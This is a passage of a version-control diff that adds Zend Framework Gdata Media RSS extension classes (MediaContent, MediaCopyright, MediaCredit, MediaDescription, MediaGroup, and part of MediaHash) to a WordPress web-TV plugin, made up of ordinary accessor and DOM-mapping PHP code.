+                $this->_samplingrate = $attribute->nodeValue;
+                break;
+            case 'channels':
+                $this->_channels = $attribute->nodeValue;
+                break;
+            case 'duration':
+                $this->_duration = $attribute->nodeValue;
+                break;
+            case 'height':
+                $this->_height = $attribute->nodeValue;
+                break;
+            case 'width':
+                $this->_width = $attribute->nodeValue;
+                break;
+            case 'lang':
+                $this->_lang = $attribute->nodeValue;
+                break;
+            default:
+                parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Returns the URL representing this MediaContent object
+     *
+     * @return string   The URL representing this MediaContent object.
+     */
+    public function __toString()
+    {
+        return $this->getUrl();
+    }
+
+    /**
+     * @return string   The direct URL to the media object
+     */
+    public function getUrl()
+    {
+        return $this->_url;
+    }
+
+    /**
+     * @param string $value     The direct URL to the media object
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setUrl($value)
+    {
+        $this->_url = $value;
+        return $this;
+    }
+
+    /**
+     * @return int  The size of the media in bytes
+     */
+    public function getFileSize()
+    {
+        return $this->_fileSize;
+    }
+
+    /**
+     * @param int $value
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setFileSize($value)
+    {
+        $this->_fileSize = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getType()
+    {
+        return $this->_type;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setType($value)
+    {
+        $this->_type = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getMedium()
+    {
+        return $this->_medium;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setMedium($value)
+    {
+        $this->_medium = $value;
+        return $this;
+    }
+
+    /**
+     * @return bool
+     */
+    public function getIsDefault()
+    {
+        return $this->_isDefault;
+    }
+
+    /**
+     * @param bool $value
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setIsDefault($value)
+    {
+        $this->_isDefault = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getExpression()
+    {
+        return $this->_expression;
+    }
+
+    /**
+     * @param string
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setExpression($value)
+    {
+        $this->_expression = $value;
+        return $this;
+    }
+
+    /**
+     * @return int
+     */
+    public function getBitrate()
+    {
+        return $this->_bitrate;
+    }
+
+    /**
+     * @param int
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setBitrate($value)
+    {
+        $this->_bitrate = $value;
+        return $this;
+    }
+
+    /**
+     * @return int
+     */
+    public function getFramerate()
+    {
+        return $this->_framerate;
+    }
+
+    /**
+     * @param int
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setFramerate($value)
+    {
+        $this->_framerate = $value;
+        return $this;
+    }
+
+    /**
+     * @return int
+     */
+    public function getSamplingrate()
+    {
+        return $this->_samplingrate;
+    }
+
+    /**
+     * @param int
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setSamplingrate($value)
+    {
+        $this->_samplingrate = $value;
+        return $this;
+    }
+
+    /**
+     * @return int
+     */
+    public function getChannels()
+    {
+        return $this->_channels;
+    }
+
+    /**
+     * @param int
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setChannels($value)
+    {
+        $this->_channels = $value;
+        return $this;
+    }
+
+    /**
+     * @return int
+     */
+    public function getDuration()
+    {
+        return $this->_duration;
+    }
+
+    /**
+     *
+     * @param int
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setDuration($value)
+    {
+        $this->_duration = $value;
+        return $this;
+    }
+
+    /**
+     * @return int
+     */
+    public function getHeight()
+    {
+        return $this->_height;
+    }
+
+    /**
+     * @param int
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setHeight($value)
+    {
+        $this->_height = $value;
+        return $this;
+    }
+
+    /**
+     * @return int
+     */
+    public function getWidth()
+    {
+        return $this->_width;
+    }
+
+    /**
+     * @param int
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setWidth($value)
+    {
+        $this->_width = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getLang()
+    {
+        return $this->_lang;
+    }
+
+    /**
+     * @param string
+     * @return Zend_Gdata_Media_Extension_MediaContent  Provides a fluent interface
+     */
+    public function setLang($value)
+    {
+        $this->_lang = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaCopyright.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaCopyright.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaCopyright.php	(revision 44)
@@ -0,0 +1,115 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the media:copyright element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaCopyright extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'copyright';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_url = null;
+
+    /**
+     * @param string $text
+     * @param string $url
+     */
+    public function __construct($text = null, $url = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+        $this->_url = $url;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_url !== null) {
+            $element->setAttribute('url', $this->_url);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'url':
+            $this->_url = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getUrl()
+    {
+        return $this->_url;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaCopyright Provides a fluent interface
+     */
+    public function setUrl($value)
+    {
+        $this->_url = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaCredit.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaCredit.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaCredit.php	(revision 44)
@@ -0,0 +1,148 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the media:credit element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaCredit extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'credit';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_role = null;
+
+    /**
+     * @var string
+     */
+    protected $_scheme = null;
+
+    /**
+     * Creates an individual MediaCredit object.
+     *
+     * @param string $text
+     * @param string $role
+     * @param string $scheme
+     */
+    public function __construct($text = null, $role = null,  $scheme = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+        $this->_role = $role;
+        $this->_scheme = $scheme;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_role !== null) {
+            $element->setAttribute('role', $this->_role);
+        }
+        if ($this->_scheme !== null) {
+            $element->setAttribute('scheme', $this->_scheme);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'role':
+            $this->_role = $attribute->nodeValue;
+            break;
+        case 'scheme':
+            $this->_scheme = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getRole()
+    {
+        return $this->_role;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaCredit Provides a fluent interface
+     */
+    public function setRole($value)
+    {
+        $this->_role = $value;
+        return $this;
+    }
+
+    /**
+     * @return string
+     */
+    public function getScheme()
+    {
+        return $this->_scheme;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaCredit Provides a fluent interface
+     */
+    public function setScheme($value)
+    {
+        $this->_scheme = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaDescription.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaDescription.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaDescription.php	(revision 44)
@@ -0,0 +1,115 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the media:description element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaDescription extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'description';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var string
+     */
+    protected $_type = null;
+
+    /**
+     * @param string $text
+     * @param string $type
+     */
+    public function __construct($text = null, $type = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct();
+        $this->_type = $type;
+        $this->_text = $text;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_type !== null) {
+            $element->setAttribute('type', $this->_type);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'type':
+            $this->_type = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * @return string
+     */
+    public function getType()
+    {
+        return $this->_type;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Media_Extension_MediaDescription Provides a fluent interface
+     */
+    public function setType($value)
+    {
+        $this->_type = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaGroup.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaGroup.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaGroup.php	(revision 44)
@@ -0,0 +1,565 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaContent
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaContent.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaCategory
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaCategory.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaCopyright
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaCopyright.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaCredit
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaCredit.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaDescription
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaDescription.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaHash
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaHash.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaKeywords
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaKeywords.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaPlayer
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaPlayer.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaRating
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaRating.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaRestriction
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaRestriction.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaText
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaText.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaThumbnail
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaThumbnail.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaTitle
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaTitle.php';
+
+
+/**
+ * This class represents the media:group element of Media RSS.
+ * It allows the grouping of media:content elements that are
+ * different representations of the same content.  When it exists,
+ * it is a child of an Entry (Atom) or Item (RSS).
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaGroup extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'group';
+    protected $_rootNamespace = 'media';
+
+    /**
+     * @var array
+     */
+    protected $_content = array();
+
+    /**
+     * @var array
+     */
+    protected $_category = array();
+
+    /**
+     * @var Zend_Gdata_Media_Extension_MediaCopyright
+     */
+    protected $_copyright = null;
+
+    /**
+     * @var array
+     */
+    protected $_credit = array();
+
+    /**
+     * @var Zend_Gdata_Media_Extension_MediaDescription
+     */
+    protected $_description = null;
+
+    /**
+     * @var array
+     */
+    protected $_hash = array();
+
+    /**
+     * @var Zend_Gdata_Media_Extension_MediaKeywords
+     */
+    protected $_keywords = null;
+
+    /**
+     * @var array
+     */
+    protected $_player = array();
+
+    /**
+     * @var array
+     */
+    protected $_rating = array();
+
+    /**
+     * @var array
+     */
+    protected $_restriction = array();
+
+    /**
+     * @var array
+     */
+    protected $_mediaText = array();
+
+    /**
+     * @var array
+     */
+    protected $_thumbnail = array();
+
+    /**
+     * @var string
+     */
+    protected $_title = null;
+
+    /**
+     * Creates an individual MediaGroup object.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Media::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        foreach ($this->_content as $content) {
+            $element->appendChild($content->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_category as $category) {
+            $element->appendChild($category->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_credit as $credit) {
+            $element->appendChild($credit->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_player as $player) {
+            $element->appendChild($player->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_rating as $rating) {
+            $element->appendChild($rating->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_restriction as $restriction) {
+            $element->appendChild($restriction->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_mediaText as $text) {
+            $element->appendChild($text->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_thumbnail as $thumbnail) {
+            $element->appendChild($thumbnail->getDOM($element->ownerDocument));
+        }
+        if ($this->_copyright != null) {
+            $element->appendChild(
+                    $this->_copyright->getDOM($element->ownerDocument));
+        }
+        if ($this->_description != null) {
+            $element->appendChild(
+                    $this->_description->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_hash as $hash) {
+            $element->appendChild($hash->getDOM($element->ownerDocument));
+        }
+        if ($this->_keywords != null) {
+            $element->appendChild(
+                    $this->_keywords->getDOM($element->ownerDocument));
+        }
+        if ($this->_title != null) {
+            $element->appendChild(
+                    $this->_title->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('media') . ':' . 'content';
+                $content = new Zend_Gdata_Media_Extension_MediaContent();
+                $content->transferFromDOM($child);
+                $this->_content[] = $content;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'category';
+                $category = new Zend_Gdata_Media_Extension_MediaCategory();
+                $category->transferFromDOM($child);
+                $this->_category[] = $category;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'copyright';
+                $copyright = new Zend_Gdata_Media_Extension_MediaCopyright();
+                $copyright->transferFromDOM($child);
+                $this->_copyright = $copyright;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'credit';
+                $credit = new Zend_Gdata_Media_Extension_MediaCredit();
+                $credit->transferFromDOM($child);
+                $this->_credit[] = $credit;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'description';
+                $description = new Zend_Gdata_Media_Extension_MediaDescription();
+                $description->transferFromDOM($child);
+                $this->_description = $description;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'hash';
+                $hash = new Zend_Gdata_Media_Extension_MediaHash();
+                $hash->transferFromDOM($child);
+                $this->_hash[] = $hash;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'keywords';
+                $keywords = new Zend_Gdata_Media_Extension_MediaKeywords();
+                $keywords->transferFromDOM($child);
+                $this->_keywords = $keywords;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'player';
+                $player = new Zend_Gdata_Media_Extension_MediaPlayer();
+                $player->transferFromDOM($child);
+                $this->_player[] = $player;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'rating';
+                $rating = new Zend_Gdata_Media_Extension_MediaRating();
+                $rating->transferFromDOM($child);
+                $this->_rating[] = $rating;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'restriction';
+                $restriction = new Zend_Gdata_Media_Extension_MediaRestriction();
+                $restriction->transferFromDOM($child);
+                $this->_restriction[] = $restriction;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'text';
+                $text = new Zend_Gdata_Media_Extension_MediaText();
+                $text->transferFromDOM($child);
+                $this->_mediaText[] = $text;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'thumbnail';
+                $thumbnail = new Zend_Gdata_Media_Extension_MediaThumbnail();
+                $thumbnail->transferFromDOM($child);
+                $this->_thumbnail[] = $thumbnail;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'title';
+                $title = new Zend_Gdata_Media_Extension_MediaTitle();
+                $title->transferFromDOM($child);
+                $this->_title = $title;
+                break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * @return array
+     */
+    public function getContent()
+    {
+        return $this->_content;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Media_MediaGroup Provides a fluent interface
+     */
+    public function setContent($value)
+    {
+        $this->_content = $value;
+        return $this;
+    }
+
+    /**
+     * @return array
+     */
+    public function getCategory()
+    {
+        return $this->_category;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Media_Extension_MediaGroup
+     */
+    public function setCategory($value)
+    {
+        $this->_category = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_Media_Extension_MediaCopyright
+     */
+    public function getCopyright()
+    {
+        return $this->_copyright;
+    }
+
+    /**
+     * @param Zend_Gdata_Media_Extension_MediaCopyright $value
+     * @return Zend_Gdata_Media_Extension_MediaGroup
+     */
+    public function setCopyright($value)
+    {
+        $this->_copyright = $value;
+        return $this;
+    }
+
+    /**
+     * @return array
+     */
+    public function getCredit()
+    {
+        return $this->_credit;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Media_Extension_MediaGroup
+     */
+    public function setCredit($value)
+    {
+        $this->_credit = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_Media_Extension_MediaTitle
+     */
+    public function getTitle()
+    {
+        return $this->_title;
+    }
+
+    /**
+     * @param Zend_Gdata_Media_Extension_MediaTitle $value
+     * @return Zend_Gdata_Media_Extension_MediaGroup
+     */
+    public function setTitle($value)
+    {
+        $this->_title = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_Media_Extension_MediaDescription
+     */
+    public function getDescription()
+    {
+        return $this->_description;
+    }
+
+    /**
+     * @param Zend_Gdata_Media_Extension_MediaDescription $value
+     * @return Zend_Gdata_Media_Extension_MediaGroup
+     */
+    public function setDescription($value)
+    {
+        $this->_description = $value;
+        return $this;
+    }
+
+    /**
+     * @return array
+     */
+    public function getHash()
+    {
+        return $this->_hash;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Media_Extension_MediaGroup
+     */
+    public function setHash($value)
+    {
+        $this->_hash = $value;
+        return $this;
+    }
+
+    /**
+     * @return Zend_Gdata_Media_Extension_MediaKeywords
+     */
+    public function getKeywords()
+    {
+        return $this->_keywords;
+    }
+
+    /**
+     * @param array $value
+     * @return Zend_Gdata_Media_Extension_MediaGroup Provides a fluent interface
+     */
+    public function setKeywords($value)
+    {
+        $this->_keywords = $value;
+        return $this;
+    }
+
+    /**
+     * @return array
+     */
+    public function getPlayer()
+    {
+        return $this->_player;
+    }
+
+    /**
+     * @param array
+     * @return Zend_Gdata_Media_Extension_MediaGroup
+     */
+    public function setPlayer($value)
+    {
+        $this->_player = $value;
+        return $this;
+    }
+
+    /**
+     * @return array
+     */
+    public function getRating()
+    {
+        return $this->_rating;
+    }
+
+    /**
+     * @param array
+     * @return Zend_Gdata_Media_Extension_MediaGroup
+     */
+    public function setRating($value)
+    {
+        $this->_rating = $value;
+        return $this;
+    }
+
+    /**
+     * @return array
+     */
+    public function getRestriction()
+    {
+        return $this->_restriction;
+    }
+
+    /**
+     * @param array
+     * @return Zend_Gdata_Media_Extension_MediaGroup
+     */
+    public function setRestriction($value)
+    {
+        $this->_restriction = $value;
+        return $this;
+    }
+
+    /**
+     * @return array
+     */
+    public function getThumbnail()
+    {
+        return $this->_thumbnail;
+    }
+
+    /**
+     * @param array
+     * @return Zend_Gdata_Media_Extension_MediaGroup
+     */
+    public function setThumbnail($value)
+    {
+        $this->_thumbnail = $value;
+        return $this;
+    }
+
+    /**
+     * @return array
+     */
+    public function getMediaText()
+    {
+        return $this->_mediaText;
+    }
+
+    /**
+     * @param array
+     * @return Zend_Gdata_Media_Extension_MediaGroup
+     */
+    public function setMediaText($value)
+    {
+        $this->_mediaText = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaHash.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaHash.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Media/Extension/MediaHash.php	(revision 44)
@@ -0,0 +1,114 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension
+ */
+require_once 'Zend/Gdata/App/Extension.php';
+
+/**
+ * Represents the media:hash element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Media
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Media_Extension_MediaHash extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'hash';
+    protected $_rootNamespace = 'media';
+    protected $_algo = null;
+
+    /**
+     * Constructs a new MediaHash element
+     *
+     * @param string $text
